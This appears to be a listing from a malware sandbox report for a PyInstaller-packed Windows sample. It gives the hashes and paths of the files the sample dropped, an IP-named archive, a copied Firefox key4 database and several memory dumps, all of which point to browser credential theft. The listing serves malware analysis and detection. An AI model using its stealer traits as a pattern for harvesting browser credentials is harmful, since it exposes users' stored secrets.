                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          base_library.zip
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\base_library.zip
                                          • Size 1.4MB
                                          • SHA256 3df2b33bbb22c558c932168496e2be6fd32c4d24a5e89b2f5335642579f04bf5
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          cd.cp311-win_amd64.pyd
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\charset_normalizer\cd.cp311-win_amd64.pyd
                                          • Size 10KB
                                          • SHA256 45a9cb1664e2e26ea183d34652869a6a7183b0b2018e151da1e3c88213e8bc8c
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          libcrypto-1_1.dll
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\libcrypto-1_1.dll
                                          • Size 3.3MB
                                          • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          libffi-8.dll
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\libffi-8.dll
                                          • Size 34KB
                                          • SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          libssl-1_1.dll
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\libssl-1_1.dll
                                          • Size 686KB
                                          • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          pyexpat.pyd
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\pyexpat.pyd
                                          • Size 193KB
                                          • SHA256 d97f3e27130c267e7d3287d1b159f65559e84ead9090d02a01b4c7dc663cd509
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          python311.dll
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\python311.dll
                                          • Size 5.5MB
                                          • SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          pywintypes311.dll
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\pywin32_system32\pywintypes311.dll
                                          • Size 132KB
                                          • SHA256 f33290cafcf91b6bd5b12b808198cbf816b68529e00e1b3563f63916529a0657
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          select.pyd
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\select.pyd
                                          • Size 28KB
                                          • SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          sqlite3.dll
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\sqlite3.dll
                                          • Size 1.4MB
                                          • SHA256 8d58db3067899c997c2db13baf13cd4136f3072874b3ca1f375937e37e33d800
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          unicodedata.pyd
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\unicodedata.pyd
                                          • Size 1.1MB
                                          • SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          win32crypt.pyd
                                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI44202\win32\win32crypt.pyd
                                          • Size 120KB
                                          • SHA256 fc5a93faa4b353a5e11efad460b6e552efeb040a8e44eca64d8d49bff655fdb6
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          messages.json
                                          • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir940_2017578732\CRX_INSTALL\_locales\en\messages.json
                                          • Size 450B
                                          • SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
                                          • MD5 SHA1 SHA512 TLSH
                                          Submit Download

                                          [85.203.46.178][XX]16-01-14-05-07-26.zip
                                          • Path C:\Users\Admin\AppData\Local\[85.203.46.178][XX]16-01-14-05-07-26.zip
                                          • Size 2.2MB
                                          • SHA256 4a44f262148aabc21c9fb1e0507bdaf454344988d92d7fe97829a2fb2f561eb3
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          key4_temp.db
                                          • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9usgf5zo.default-release\key4_temp.db
                                          • Size 288KB
                                          • SHA256 4dd9a548b02ca8c7f37e8f5d0ac9875ef0f342916a7b4d970330e9863f0cc73d
                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                          Submit Download

                                          memory/964-110-0x0000000000390000-0x00000000003A5000-memory.dmp
                                          Download

                                          memory/964-111-0x0000000000D20000-0x0000000000D23000-memory.dmp
                                          Download

                                          memory/964-221-0x0000000000390000-0x00000000003A5000-memory.dmp
                                          Download

                                          memory/2828-790-0x0000015DAC500000-0x0000015DAC522000-memory.dmp
                                          Download

                                          memory/2964-1005-0x000000000DE40000-0x000000000DFAC000-memory.dmp
                                          Download

                                          memory/5560-837-0x00000290001E0000-0x00000290002E0000-memory.dmp
                                          Download

                                          memory/5560-864-0x00000290141B0000-0x00000290141D0000-memory.dmp
                                          Download

                                          memory/5560-849-0x0000029003C90000-0x0000029003CB0000-memory.dmp
                                          Download

                                          memory/5560-845-0x0000029013E90000-0x0000029013F90000-memory.dmp
                                          Download

                                          memory/5560-838-0x00000290001E0000-0x00000290002E0000-memory.dmp
                                          Download

                                          memory/5560-836-0x00000290001E0000-0x00000290002E0000-memory.dmp
                                          Download

                                          memory/5560-844-0x0000029003A30000-0x0000029003A50000-memory.dmp
                                          Download